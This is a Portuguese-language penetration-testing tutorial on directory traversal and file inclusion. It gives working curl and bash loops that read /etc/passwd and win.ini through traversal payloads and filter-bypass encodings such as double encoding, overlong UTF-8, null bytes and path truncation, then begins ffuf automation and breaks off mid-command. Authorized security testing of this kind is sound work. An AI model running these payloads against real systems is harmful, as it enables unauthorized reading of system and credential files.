Testando Travessia de Diretório

Quando Usar

• Durante testes de penetração autorizados quando o aplicativo lida com caminhos de arquivo em parâmetros de URL ou corpos de requisição
• Ao testar funcionalidades de download de arquivo, visualização de arquivo ou inclusão de arquivo
• Para avaliar vulnerabilidades de Inclusão de Arquivo Local (LFI) e Inclusão de Arquivo Remoto (RFI)
• Ao avaliar motores de template, sistemas de log ou geradores de relatórios que referenciam arquivos
• Durante avaliações de segurança de APIs que aceitam nomes ou caminhos de arquivo como parâmetros

Pré-requisitos

• Autorização: Acordo de teste de penetração escrito para o alvo
• Burp Suite Professional: Para interceptar e modificar parâmetros de caminho de arquivo
• ffuf: Para fuzzing de parâmetros de caminho de arquivo com payloads de travessia
• dotdotpwn: Fuzzer automatizado de travessia de diretório (apt install dotdotpwn)
• SecLists: Listas de palavras de payload de travessia da coleção de Daniel Miessler
• curl: Para testes manuais de payloads de travessia

Fluxo de Trabalho

Passo 1: Identificar Parâmetros de Caminho de Arquivo

Encontre endpoints do aplicativo que referenciam arquivos através de parâmetros.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Passo 2: Testar Payloads Básicos de Travessia de Diretório

Tente sair do diretório pretendido e ler arquivos sensíveis.

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

Passo 3: Aplicar Técnicas de Codificação e Bypass de Filtros

Use vários esquemas de codificação para contornar filtros de validação de entrada.

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

Passo 4: Automatizar com ffuf e dotdotpwn

Use ferramentas automatizadas para testes abrangentes de travessia.

# ffuf com lista de payload de travessia
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \

…